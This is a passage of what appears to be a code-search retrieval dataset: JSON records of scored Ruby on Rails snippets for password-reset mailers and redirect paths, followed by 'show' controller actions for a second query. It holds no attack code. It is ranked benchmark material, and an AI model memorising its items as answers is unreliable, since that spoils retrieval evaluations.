after_sending_reset_password_instructions_path_for(resource_name)\n candidate_user_login_path if is_navigational_format?\n end", "title": "" }, { "docid": "20f6037c2ec27ea79d72f81ff66f376d", "score": "0.6557913", "text": "def after_resetting_password_path_for(resource)\n new_session_path(resource) \n # after_sign_in_path_for(resource) #if want to login user after resetting password\n end", "title": "" }, { "docid": "a9060fd8689302bea9bd43cde4c5cdab", "score": "0.6554306", "text": "def after_resetting_password_path_for(resource)\n candidate_home_path\n end", "title": "" }, { "docid": "44e596045eaffff665c8d91332782b5d", "score": "0.65186864", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n new_user_session_path(resource_name) if is_navigational_format?\n end", "title": "" }, { "docid": "6320834c02f5e25a4439bcfc28ca5ad4", "score": "0.6467217", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n flash[:email] = resource[:email]\n sent_admin_password_path\n end", "title": "" }, { "docid": "c579e60b8f613fa04b2dd185025e47da", "score": "0.6440164", "text": "def reset_url(user)\n setup(user)\n \"#{@protocol}://#{@host}#{slice_url(:reset, :reset_code => user.password_reset_code)}\"\n end", "title": "" }, { "docid": "f0e13f682115e6c1d0a4eedcdf0fe04c", "score": "0.64370954", "text": "def reset_password_url(url)\n \"#{url}/#{self.class.name.pluralize.downcase}/password/edit?reset_password_token=#{self.reset_password_token}\"\n end", "title": "" }, { "docid": "74e3ac6bace83899d447fb1358fcf62d", "score": "0.6422965", "text": "def forgot_password_template\n 'forgot_password'\n end", "title": "" }, { "docid": "7fa68f6d0a899de389fa2631ea40e83a", "score": "0.64050174", "text": "def send_password_reset_text\n\n end", "title": "" }, { "docid": "9fa7785d38a037ce806b1cc02fff99f9", "score": "0.6388187", "text": "def reset_password_instructions\n AccountsMailer.reset_password_instructions(User.first, 'faketoken', {})\n end", "title": "" }, { "docid": "0f342210169cb464a4a4733ec00fbd52", "score": "0.6368789", "text": "def render_reset_password\n render :file => '/users/reset_password'\n end", "title": "" }, { "docid": "4763e3544bcd1f1d9ea6235ccc6bce61", "score": "0.636335", "text": "def after_resetting_password_path_for(resource) \n redirect_to root_path + '#!/users/' + resource.id.to_s\n end", "title": "" }, { "docid": "d8f5d40fe3e7e7cb3fa763cb9b9a1227", "score": "0.6349453", "text": "def forgot_password(user)\n setup_email(user)\n @subject += 'You have requested to change your password'\n @body[:url] = reset_password_url(user.password_reset_code)\n end", "title": "" }, { "docid": "4bf82e61c7d514146678ce22b13153e9", "score": "0.6333869", "text": "def request_password_reset\n end", "title": "" }, { "docid": "5c2fb567fc9a9abd049897b4e8938cde", "score": "0.6325288", "text": "def reset_password_instructions(user)\n @url = root_url + \"#/reset_password?id=#{user.perishable_token}\"\n mail(to: user.email, subject: \"Plannr password reset instructions\")\n end", "title": "" }, { "docid": "3815b00ac565b81a8d788be50aa17c8d", "score": "0.63229096", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n super(resource_name)\n flash[:alert] = t('pages.password.password_reset')\n new_user_session_path(role: params[:role])\n end", "title": "" }, { "docid": "43069d53dc7cb6a1fd89fff3f14a06d3", "score": "0.63051873", "text": "def after_sending_reset_password_instructions_path_for(resource_name)\n if is_navigational_format?\n if Config[:combined_shipping_payment]\n user_new_login_path\n else\n new_session_path(resource_name)\n end\n end\n end", "title": "" }, { "docid": "95feeb9318385de35d3625eb73c70edf", "score": "0.6296848", "text": "def request_reset_password\n end", "title": "" }, { "docid": "7061a04e0a270051526efc8d5aac09d7", "score": "0.6279854", "text": "def password_reset_instructions(user) \n subject I18n.t(\"email.pw_reset\") \n from I18n.t(\"email.admin_email\") \n recipients user.email \n sent_on Time.now \n body :edit_password_reset_url => edit_password_reset_url(user.perishable_token) \n end", "title": "" }, { "docid": "a343cffca307bae4443f5d23c75b2ae8", "score": "0.6264426", "text": "def password_reset_instructions(user)\n @user = user\n @edit_password_reset_url = \"#{APP_CONFIG[:site_url]}/password_resets/#{user.perishable_token}/edit\"\n\n mail :to => user.email,\n :subject => \"[Biocomfort rmp] Password Reset Instructions\"\n end", "title": "" }, { "docid": "2dc42c9fb9354827251592bb9a1ab8be", "score": "0.6221487", "text": "def after_confirmation_path\n ENV['TTNOTE_FRONT_BASE'] + 'login?emailConfirmed'\n end", "title": "" }, { "docid": "3922146dbb017f0b48baf2584f77f238", "score": "0.62117577", "text": "def password_reset\n VerificationMailer.password_reset\n end", "title": "" }, { "docid": "6c30f6d167e43cfdadd2e862583e6dbc", "score": "0.6199367", "text": "def reset_pwd(user)\n mail( :to => user.email, \n :subject => \"Buttery Password Reset (\" + Time.now.strftime(\"%b %d - %I:%M:%S %p\") + \")\",\n :body => \"If You Have Lost Your Password, Please Click The Following Link to Reset it\n www.piersonbuttery.com/account_controller/new_pwd/\"+user.username+'/'+user.hash)\n end", "title": "" }, { "docid": "8a7ab70f80a16a3cb0cd41643b5b494b", "score": "0.6187109", "text": "def password_reset\n RelationshipOfficerMailer.password_reset\n end", "title": "" }, { "docid": "e83264e4b81bd40c07ba0efa4868d2dd", "score": "0.6183604", "text": "def password_reset\n GolferMailer.password_reset\n end", "title": "" }, { "docid": "a90c3601ea4f4c3faee2c3eb996437f2", "score": "0.6182814", "text": "def reset_password_endpoint_url\n if query_string = options[\"reset_password_param\"]\n uri = URI(authorize_endpoint_url)\n reset_password_param = Hash[URI.decode_www_form(query_string)]\n params = Hash[URI.decode_www_form(String(uri.query))]\n params.update reset_password_param\n uri.query = URI.encode_www_form params.to_a\n uri.to_s\n else\n authorize_endpoint_url\n end\n end", "title": "" }, { "docid": "9c3a5357e2f614e98d005ef81655357f", "score": "0.61827314", "text": "def reset_password\n ReportMailer.reset_password\n end", "title": "" }, { "docid": "178c3b5ab4538bee80abe9d10d32fdb6", "score": "0.61651266", "text": "def password_reset(user)\n setup_email(user)\n @subject += 'Reset your password'\n @body[:url] = \"http://#{AppConfig.host}/account/reset_password/#{user.activation_code}\"\n end", "title": "" }, { "docid": "976c0ad36023fe0dcdf3d15585e921a2", "score": "0.6149245", "text": "def forgot_password\n DrawDiscardMailer.forgot_password\n end", "title": "" }, { "docid": "8aff7bf7f49b004bd5cbdee03d96cb2f", "score": "0.61259", "text": "def password_reset\n ContaMailer.password_reset\n end", "title": "" }, { "docid": "07a09a7ae7515e3ee5252b8ba1e4c799", "score": "0.6124043", "text": "def forgot_password\n \n end", "title": "" }, { "docid": "d4c768e4b84211d653e576a3cb1e4d8c", "score": "0.6118574", "text": "def forgot_password\n end", "title": "" }, { "docid": "d4c768e4b84211d653e576a3cb1e4d8c", "score": "0.6118574", "text": "def forgot_password\n end", "title": "" }, { "docid": "d4c768e4b84211d653e576a3cb1e4d8c", "score": "0.6118574", "text": "def forgot_password\n end", "title": "" }, { "docid": "d4c768e4b84211d653e576a3cb1e4d8c", "score": "0.6118574", "text": "def forgot_password\n end", "title": "" }, { "docid": "12286c15a6bbac7c9084c5d4638fe8c3", "score": "0.6110157", "text": "def custom_account_reset_credentials_url\n return @custom_account_reset_credentials_url\n end", "title": "" }, { "docid": "726bd0a18fc2de4da4f7f71016806bab", "score": "0.61094135", "text": "def password_reset(user)\n @greeting = \"Hi\"\n @user = User.find_by(id:user.id)\n # @url = edit_password_reset_url(@user.reset_password_token)\n # mail(:to => user.email,\n # :subject => \"Reset your password\")\n @url = \"https://truelysell-app.herokuapp.com/#{@user.id}/reset\"\n # @url = edit_password_reset_url/@user.id/reset \n mail(to: @user.email, subject: 'パスワードの再設定')\n end", "title": "" }, { "docid": "7e6fa7e0664512d75371a0f4e5c220fa", "score": "0.6108461", "text": "def reset_password_email\n end", "title": "" }, { "docid": "eaec97fb12e0830fbd50ebe01556796f", "score": "0.61036605", "text": "def forgot_password(user)\n @user = user\n # @url = `localhost:3001/reset_account/#{@user.reset_password_token}`\n mail(to: @user.email, subject: 'Send It Reset Password URL')\n end", "title": "" }, { "docid": "7b8446d9837ea9092259efa26348a723", "score": "0.6087653", "text": "def password_recovery_instructions\n PharmacyMailer.password_recovery_instructions\n end", "title": "" }, { "docid": "0e129f9acf054caf3c7a180c0eb005e3", "score": "0.60848415", "text": "def password_reset_instructions(admin)\n #subject \"Password Reset Instructions\"\n #from \"Binary Logic Notifier <noreply@binarylogic.com>\"\n #recipients admin.email\n #sent_on Time.now\n #body = :edit_password_reset_url => edit_password_reset_url(admin.perishable_token)\n @edit_password_reset_url = edit_password_reset_url(admin.perishable_token)\nmail(:to => admin.email, :subject => \"Password reset instructions\")\n end", "title": "" }, { "docid": "83bb5588c2935340715107481f944dd6", "score": "0.6083418", "text": "def generate_confirmation_path()\n \"/confirm?code=#{self.confirmation_code}&\"+\n \"address=#{Email.encode(self.address)}\"\n end", "title": "" }, { "docid": "6b5e6fb0541405ceea7f6f4c320f64ba", "score": "0.6077416", "text": "def password_reset\n TeacherMailer.password_reset\n end", "title": "" }, { "docid": "8a20b24397b0bf690ed4b7682051a8e9", "score": "0.6075924", "text": "def password_reset_email(user)\n @user = user\n @password_reset_url = url_for(controller: 'password',\n action: 'new_password',\n only_path: false,\n username: @user.username,\n key: @user.password_reset_key)\n mail(to: @user.email, subject: 'Your request to reset your PSAP password')\n end", "title": "" }, { "docid": "f7dc56a0bdd76c90544800c4b98db890", "score": "0.6066494", "text": "def password_reset_instructions(user)\n subject \"Your password has been reset\"\n from APP_CONFIG[CONFIG_ADMIN_EMAIL]\n recipients user.email\n sent_on Time.zone.now\n body :edit_password_reset_url => edit_password_reset_url(user.perishable_token, url_options),\n :user => user\n end", "title": "" }, { "docid": "acbb3b6ea7f6962e4754ecd160ed20e7", "score": "0.60655105", "text": "def password_reset_instructions(user)\n @edit_password_reset_url = edit_password_reset_url(user.perishable_token)\n mail(to: user.email, subject: \"Password Reset Instructions\",\n date: Time.now)\n end", "title": "" }, { "docid": "108ab56a8b47f88a12a703ba99862212", "score": "0.6064997", "text": "def reset_password_link\n raw, enc = Devise.token_generator.generate(self.class, :reset_password_token)\n self.reset_password_token = enc \n self.reset_password_sent_at = Time.now.utc\n save(validate: false)\n\n edit_user_password_path + '?reset_password_token=' + raw\n end", "title": "" } ]
dccb50c2b6a73198ea504276aba6beb0
GET /anredes/1 GET /anredes/1.json
[ { "docid": "31a19d74e2c22e3bd8d93ab01973c160", "score": "0.7494166", "text": "def show\n @anrede = Anrede.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anrede }\n end\n end", "title": "" } ]
[ { "docid": "24c80701b948aaeb4b7a73c3c5d849a1", "score": "0.68391967", "text": "def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end", "title": "" }, { "docid": "b6e253138d9fe1e93f7df14e65bf7451", "score": "0.6617725", "text": "def show\r\n @antenne = Antenne.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @antenne }\r\n end\r\n end", "title": "" }, { "docid": "585064cf89fc750e5929d1bddaa3487a", "score": "0.65915555", "text": "def show\n @ano = Ano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ano }\n end\n end", "title": "" }, { "docid": "72ede4ae5ec50dc8bc3718793fe63df6", "score": "0.65557164", "text": "def show\n @nabe = Nabe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nabe }\n end\n end", "title": "" }, { "docid": "9f46d0b50541e7aefa8e95229f62420f", "score": "0.6502356", "text": "def new\n @anrede = Anrede.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @anrede }\n end\n end", "title": "" }, { "docid": "c45b6c7b421541464e811df5b4440985", "score": "0.6493419", "text": "def show\n render json: Alien.find(params[\"id\"])\n end", "title": "" }, { "docid": "795bdb10ccc0ba72ac9ce844efafbc6d", "score": "0.64527905", "text": "def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end", "title": "" }, { "docid": "8ba599fd79069dbdc43f5a567974210f", "score": "0.639992", "text": "def show\n @antecedente = Antecedente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @antecedente }\n end\n end", "title": "" }, { "docid": "ac8a002042a07a29a9ab097ce21d57f5", "score": "0.63928974", "text": "def show\n @arrest = Arrest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arrest }\n end\n end", "title": "" }, { "docid": "9a02005082cc1d6c44f764b18d2e20fe", "score": "0.63777006", "text": "def show\n @arcone = Arcone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arcone }\n end\n end", "title": "" }, { "docid": "fc20b84ddca72184584e72d650772a19", "score": "0.6368771", "text": "def show\n @addre = Addre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @addre }\n end\n end", "title": "" }, { "docid": "4d1f98454c1c824474d242e4cd520dd2", "score": "0.63671046", "text": "def show\n @annex = Annex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annex }\n end\n end", "title": "" }, { "docid": "a8dec51d454c3dda12a0cf76af16da08", "score": "0.63553965", "text": "def index\n @anamneses = Anamnese.all\n end", "title": "" }, { "docid": "235e6987fecd261c13607b4ce1fd32f0", "score": "0.6352353", "text": "def show\n @anuncio= set_anuncio\n render json: @anuncio, status: :ok\n end", "title": "" }, { "docid": "8e706f83ca1d318a9f3b4904298a8b56", "score": "0.6346915", "text": "def show\n @aadt = Aadt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aadt }\n end\n end", "title": "" }, { "docid": "90b6d28d1edca3fe17c6db5523269497", "score": "0.63428533", "text": "def show\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @atracao }\n end\n end", "title": "" }, { "docid": "be6b48acfeb95992270a4f9bd24ec144", "score": "0.6313033", "text": "def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end", "title": "" }, { "docid": "e0ef883f3dcef10b9bfdf908fbad68a2", "score": "0.62937945", "text": "def show\n @lede = Lede.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lede }\n end\n end", "title": "" }, { "docid": "3aa66a38ca6d789b05d77cd7b33ee82f", "score": "0.6283383", "text": "def show\n @detalle = Detalle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detalle }\n end\n end", "title": "" }, { "docid": "e56ca94e62930f54cfd7a968fe7e4778", "score": "0.62758154", "text": "def getArrondissement\r\n \tvil = params[:id]\r\n \trender json: Arrondissement.where(vil_id: vil)\r\n end", "title": "" }, { "docid": "db97b06e0a343429d71551bcbd70eacf", "score": "0.627361", "text": "def show\n @deuda = Deuda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deuda }\n end\n end", "title": "" }, { "docid": "ef8eab9b9ae0d77934927b19bc1bed76", "score": "0.62694603", "text": "def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end", "title": "" }, { "docid": "13fe07ccfbf6239d118d995c42b5fd7c", "score": "0.6267135", "text": "def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end", "title": "" }, { "docid": "692040ee9dbf93ae4868e771b2c04672", "score": "0.62591213", "text": "def show\n @rebate = Rebate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rebate }\n end\n end", "title": "" }, { "docid": "077966d3de37664d53058552b7ed102e", "score": "0.62539786", "text": "def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end", "title": "" }, { "docid": "ce7fc44f9b81c5234f4e8bfb4728695e", "score": "0.62476474", "text": "def show\n @acuerdo = Acuerdo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acuerdo }\n end\n end", "title": "" }, { "docid": "3a17e4fe5c022cad03ffa81f171015e7", "score": "0.62348604", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @representante_athlete }\n end\n end", "title": "" }, { "docid": "d91cb322d6e6aaaacfb1e5d03151be5d", "score": "0.62338257", "text": "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end", "title": "" }, { "docid": "1b461ee052c98ff3905b18a2c1c376e6", "score": "0.62236834", "text": "def show\n @agendamento = Agendamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agendamento }\n end\n end", "title": "" }, { "docid": "1cd5dfafdbefd1dfa40eaa4853204598", "score": "0.6206013", "text": "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "title": "" }, { "docid": "36ba493914629f2a95ba361719e37052", "score": "0.6197791", "text": "def show\n @ramal = Ramal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ramal }\n end\n end", "title": "" }, { "docid": "9d45d80647a1d7b094caacf945d1f70e", "score": "0.61909974", "text": "def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end", "title": "" }, { "docid": "a025e9e499e864b61584e72b0abd6379", "score": "0.61894333", "text": "def show\n @aboutshetuan = Aboutshetuan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aboutshetuan }\n end\n end", "title": "" }, { "docid": "8c8c03f2017191d0c8ca92fa1f8f2771", "score": "0.6187041", "text": "def show\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @avert }\n end\n end", "title": "" }, { "docid": "fae087331fb93fdf53f3ed8b4db2dcf3", "score": "0.6183374", "text": "def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end", "title": "" }, { "docid": "2e14985a3cc5f1ce9d13edcc7dcff4b6", "score": "0.6164965", "text": "def show\n @repa = Repa.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end", "title": "" }, { "docid": "5cff0f923b1c288b78db775059902447", "score": "0.6163856", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "9bcc0c2926e69d43bf9d2f21c6b1b9b9", "score": "0.61544526", "text": "def show\n @total_money = @raffle.transactions.map(&:amount).reduce(:+)\n @raffle = Raffle.find(params[:id])\n respond_to do |format|\n format.html\n format.json do\n @raffle = Raffle.select_data(Raffle.where(id: params[:id])).first\n render json: @raffle\n end\n end\n end", "title": "" }, { "docid": "a106289c053e733246a137ca1cd92edb", "score": "0.6149834", "text": "def show\n @asesor = Asesor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asesor }\n end\n end", "title": "" }, { "docid": "c9e22252365fb19c82646774b998483a", "score": "0.6144673", "text": "def show\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @referee }\n end\n end", "title": "" }, { "docid": "47731730d61f358f4200d16ec08abb48", "score": "0.6140543", "text": "def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end", "title": "" }, { "docid": "054c506b291a0d65f5c9987061309607", "score": "0.61260915", "text": "def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end", "title": "" }, { "docid": "2a3ead2a1ebb6b5a299662268d1b48ec", "score": "0.6125291", "text": "def index\n @archdioceses = Archdiocese.all\n\n render json: @archdioceses\n end", "title": "" }, { "docid": "8f610a5e0a791de5568c28999fa1741b", "score": "0.61136514", "text": "def show\n @atr = Atr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @atr }\n end\n end", "title": "" }, { "docid": "eb2a416e665c34efc3985bffa0c1dfb2", "score": "0.6111031", "text": "def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end", "title": "" }, { "docid": "eb2a416e665c34efc3985bffa0c1dfb2", "score": "0.6111031", "text": "def show\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asignatura }\n end\n end", "title": "" }, { "docid": "99c227d1cd4f02f46954a7662e2ddede", "score": "0.6106372", "text": "def show\n @zakaz = Zakaz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @zakaz }\n end\n end", "title": "" }, { "docid": "01a28f60daf6783e3686474c86d2dc62", "score": "0.6098478", "text": "def show\n @humanidades2 = Humanidades2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades2 }\n end\n end", "title": "" }, { "docid": "2a08b22c154880b906c95e36552fb3a4", "score": "0.6092354", "text": "def show\n @descuento = Descuento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @descuento }\n end\n end", "title": "" }, { "docid": "d1cfd7860b9401ca54f0db52b0539be8", "score": "0.6092073", "text": "def show\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aroma }\n end\n end", "title": "" }, { "docid": "6119c72c3fbf6346654b95a5aca30d4c", "score": "0.60920453", "text": "def index\n @deseases = Desease.order(:id)\n\n render json: @deseases\n end", "title": "" }, { "docid": "2a7bf53cf8b23be199f179e2fd24cfd0", "score": "0.609107", "text": "def show\n @deed = Deed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deed }\n end\n end", "title": "" }, { "docid": "29cbc966c24002bc6f82983a3c86ecdd", "score": "0.6090012", "text": "def show\n @imp2_raman = Imp2Raman.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imp2_raman }\n end\n end", "title": "" }, { "docid": "93af970c6f49e20941183355a6956bf7", "score": "0.60884124", "text": "def show\n @palestrante = Palestrante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palestrante }\n end\n end", "title": "" }, { "docid": "3acfdffda7a82dac7e4f39b5d33ad80f", "score": "0.6086911", "text": "def show\n @laundromat = Laundromat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @laundromat }\n end\n end", "title": "" }, { "docid": "1bb0dbbe1066cc1962ccf66c62fab6f0", "score": "0.607277", "text": "def show\n @prepagada = Prepagada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prepagada }\n end\n end", "title": "" }, { "docid": "218eab31665e186fecd476d1c3434acd", "score": "0.60716236", "text": "def show\n render json: @diet, status: 200, root: true\n end", "title": "" }, { "docid": "a3bf92339f3f81e4f3f91f1d4ba00988", "score": "0.6069677", "text": "def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end", "title": "" }, { "docid": "2acf7feb5071cd1142958aa84dd22e1a", "score": "0.60616785", "text": "def show\n #@stanza = Stanza.find(params[:id])\n #@stanza = Stanza.where(:stanzno=>params[:id])\n @stanza = Stanza.find_by_no(params[:id]) || not_found\n logger.info @stanza\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stanza }\n end\n end", "title": "" }, { "docid": "c81aba85fae2ec1db22b8991d6d2d7ad", "score": "0.60611755", "text": "def show\n @atout = Atout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @atout }\n end\n end", "title": "" }, { "docid": "43fa991991d29ee06e3a2834d153b04b", "score": "0.6052275", "text": "def show\n @imp_raman = ImpRaman.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imp_raman }\n end\n end", "title": "" }, { "docid": "62f96e8fe4ab9c031b5e5da54f17ee1e", "score": "0.6051571", "text": "def show\n @status_ativ = StatusAtiv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ativ }\n end\n end", "title": "" }, { "docid": "14e5ea1de998dba1a4c6fa9400edce08", "score": "0.60513765", "text": "def show\n @finding_aural = FindingAural.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finding_aural }\n end\n end", "title": "" }, { "docid": "193b41b8db50a90ed1a3f57ae96190b7", "score": "0.60460263", "text": "def index\n @attendees = Attendees.all\n render json: @attendees\n end", "title": "" }, { "docid": "3c423b90c5d7f4cfd61377a73e579d7d", "score": "0.6045378", "text": "def show\n @antler = Antler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: AntlerPresenter.new(@antler) }\n end\n end", "title": "" }, { "docid": "7cf0ad24b9396b39592fb82898eef9a7", "score": "0.6040167", "text": "def show\n @announcement = Announcement.find(params[:id])\n render json:@announcement\n end", "title": "" }, { "docid": "6e771f089820e2a54b2c635e31d25396", "score": "0.60371304", "text": "def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end", "title": "" }, { "docid": "0d1ee25328b6f0d69ef782c863c13893", "score": "0.60367906", "text": "def show\n @rechnung = Rechnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rechnung }\n end\n end", "title": "" }, { "docid": "f372f104952d7e8a32d03b5cbe22d310", "score": "0.60365415", "text": "def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end", "title": "" }, { "docid": "9a1fec09b18831a2ac898f390046cbf6", "score": "0.60349816", "text": "def show\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aviso }\n end\n end", "title": "" }, { "docid": "33d57b30e21315d5ef5a75c1c868d7fa", "score": "0.603149", "text": "def show\n @pagenate = Pagenate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pagenate }\n end\n end", "title": "" }, { "docid": "86ac0b07d19a58a7b17af21d27b65509", "score": "0.602977", "text": "def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end", "title": "" }, { "docid": "8b46243b086330de870b4d2f78ce7e48", "score": "0.60284585", "text": "def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end", "title": "" }, { "docid": "c9952ee4dc2f7c4619fc0fd3fd44cccb", "score": "0.60261184", "text": "def show\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remito }\n end\n end", "title": "" }, { "docid": "a032229346339d28150c5f9396ceff27", "score": "0.6023843", "text": "def show\n @natulang = Natulang.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @natulang }\n end\n end", "title": "" }, { "docid": "0b510b5d0d238e6a8dbe44f74f501803", "score": "0.60229886", "text": "def show\n @etudiant = Etudiant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etudiant }\n end\n end", "title": "" }, { "docid": "dfb3c0c278a4e67bbda84554ffcb159b", "score": "0.60223955", "text": "def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end", "title": "" }, { "docid": "03bf9ba2aa2c28a318697b88c1af6a1f", "score": "0.60216504", "text": "def show\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rua }\n end\n end", "title": "" }, { "docid": "9d3ddde01111fd7e630e6bbaf2901ce1", "score": "0.6019419", "text": "def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end", "title": "" }, { "docid": "015830e55771e4ac0363e647e228ce09", "score": "0.60191613", "text": "def show\n @rayon = Rayon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rayon }\n end\n end", "title": "" }, { "docid": "969aa04ab0ce9ede6802dddb5d889c4f", "score": "0.6011937", "text": "def show\n @apuesta_detail = ApuestaDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apuesta_detail }\n end\n end", "title": "" }, { "docid": "e451bf6fba576778cb378975d1a63a69", "score": "0.6008638", "text": "def show\n @orden = Orden.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orden }\n end\n end", "title": "" }, { "docid": "e451bf6fba576778cb378975d1a63a69", "score": "0.6008638", "text": "def show\n @orden = Orden.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orden }\n end\n end", "title": "" }, { "docid": "ee8fc69247996513104d83a6ff6fc696", "score": "0.60056067", "text": "def show\n render json: @adopter\n end", "title": "" }, { "docid": "6f51683e3e03789d806dd8114a5f78aa", "score": "0.6000238", "text": "def show\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diemtrentuyen }\n end\n end", "title": "" }, { "docid": "5e7cda12932f9b767f42f2443bca726a", "score": "0.5998427", "text": "def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end", "title": "" }, { "docid": "a7713f0bcf0baadab3f95f384b564c93", "score": "0.5996466", "text": "def show\n render json: @nepal\n end", "title": "" }, { "docid": "adc42d83a9388a2baa99119eefe6da69", "score": 